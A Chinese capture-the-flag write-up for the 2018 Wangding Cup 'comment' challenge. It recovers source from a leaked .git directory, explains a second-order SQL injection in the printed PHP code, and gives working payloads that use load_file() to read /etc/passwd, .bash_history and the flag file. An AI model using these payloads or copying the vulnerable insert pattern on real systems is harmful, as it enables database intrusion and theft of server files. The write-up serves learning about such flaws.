欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

网鼎杯2018 comment

程序员文章站 2022-03-10 09:17:00
...

本次知识点

git恢复文件

如何判断是否可以恢复?

看是否有commit文件,如果没有,则需要恢复,像这题:
网鼎杯2018 comment
题目提示我们没有commit,即需要git恢复。

脚本及使用

我们利用王一航大佬的脚本进行恢复。
首先,安装好脚本,然后打开控制台,输入

python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接

然后进入新增的目录,输入

git log --relog

会出现它的更改历史
网鼎杯2018 comment
复制下箭头所指的commit,输入

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

然后再查看文件,即可看到完整代码如下:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

二次注入

我们来看下面的代码:

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

$category = mysql_fetch_array($result)['category'];

可以看到,在do=write的时候我们对categroy等变量进行了转义,每个引号、反斜杠等符号前都会加上一个反斜杠(数据库会自动清除反斜杠)。而在do=comment的时候会直接从数据库中对categroy进行调用,没有任何过滤,这就导致了二次注入。

比如我POST$categroy=123‘//,虽然它进行了转义,但数据库里的数据仍然是123",再到sql语句调用时,就会变成

$sql = "insert into comment
            set category = '123’//',"

此时依然可以到达注入的目的。

SQL读取文件

用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

.bash_history

.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。

.DS_Store文件泄露

文件泄露,有一个下载至本地的脚本,不过这题用不上。

开始做题

首先,拿到源码,由于我们的login!=yes,所以会自动跳转到登陆界面。
网鼎杯2018 comment
图中提示我们账号和密码,密码的最后三位可以**出来,为:666。
登陆进去之后,就可以开始构造categroy了。
值得注意的是,这里的sql语句为四行,而#只能注释一行,所以要用/**/。
我们发帖在categroy处填入categroy=aaa',content=database(),/*,剩下的随便填,然后进入帖子,提交评论*/#。此时我们的语句变成了这样:

$sql = "insert into comment
            set category = 'aaa',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

结果为:
网鼎杯2018 comment
成功注入。
然后我们利用load_file()函数读取文件:
payload:123',content=(select( load_file('/etc/passwd'))),/*
网鼎杯2018 comment
看到文件位置之后再读取.bash_histroy文件
网鼎杯2018 comment
看到在/temp/html有一个.DS_Store文件,hex编码读取文件并解码后:
网鼎杯2018 comment
可以看到html文件夹下所有文件的名字。
读取flag文件即可得到flag。
payload:aaa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
参考文章:
https://www.cnblogs.com/Tkitn/p/11649255.html

相关标签: 初窥CTF